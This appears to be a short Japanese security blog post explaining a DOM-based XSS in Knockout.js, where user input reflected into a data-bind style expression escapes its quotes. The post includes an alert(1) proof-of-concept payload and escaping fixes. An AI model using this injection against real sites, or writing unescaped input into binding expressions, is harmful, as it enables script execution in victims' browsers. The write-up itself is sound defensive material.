XSS小ネタ(DOM based XSS - Knockout.js)
最近出会った, Knockout.jsでのDOM based XSSを紹介.
書いてあること
前提知識
JavaScript中のHTMLアンエスケープ
Knockout.jsのざっくり仕様(要点のみ)
HTMLソース(レスポンス)例
- input 1
inputtedaaaaa<'"%26>
- output 1
(snipped) <script src="./knockout-min.js"></script> (snipped) <span data-bind="text: 'Hello Knockout.js', style: {color: 'inputtedaaaaa<'"&>'}"></span> (snipped)
- input 2
inputtedaaaaa,(;:)
- output 2
(snipped) <script src="./knockout-min.js"></script> (snipped) <span data-bind="text: 'Hello Knockout.js', style: {color: 'inputtedaaaaa,(;:)'}"></span> (snipped)
お分かりいただけただろうか. ご覧の通りXSS可能.
PoC
- input
blue'&alert(1),text:'
- output
<span data-bind="text: 'Hello Knockout.js', style: {color: 'blue'&alert(1),text:''}"></span>
- HTML
<span data-bind="text: 'Hello Knockout.js', css: {color: 'blue'&alert(1),text:''}">Hello Knockout.js</span>
スクリプトが実行される流れ
- ブラウザの仕様であるHTMLアンエスケープ('が'としてJavaScriptエンジンに渡される)
- Knockout.jsが動いてalertが動作
- ViewモデルにおいてJavaScriptオブジェクトが使用される, JavaScript式を指定可能
対策
- JavaScriptエスケープ(' → \')
- Unicodeエスケープ(' → \u0027)
コメントとか小話とか
- BurpSuite 1.7.37, 2.0.X betaでのScanは(Info)Input returned in response (reflected).
- 「これどう思います?」と質問されたのが見つけられた発端. その時にKnockout.jsの存在を知った(ライブラリ多すぎてツラい).
- ようやくWebに慣れてきた気がする. 職人への道はまだまだ遠い.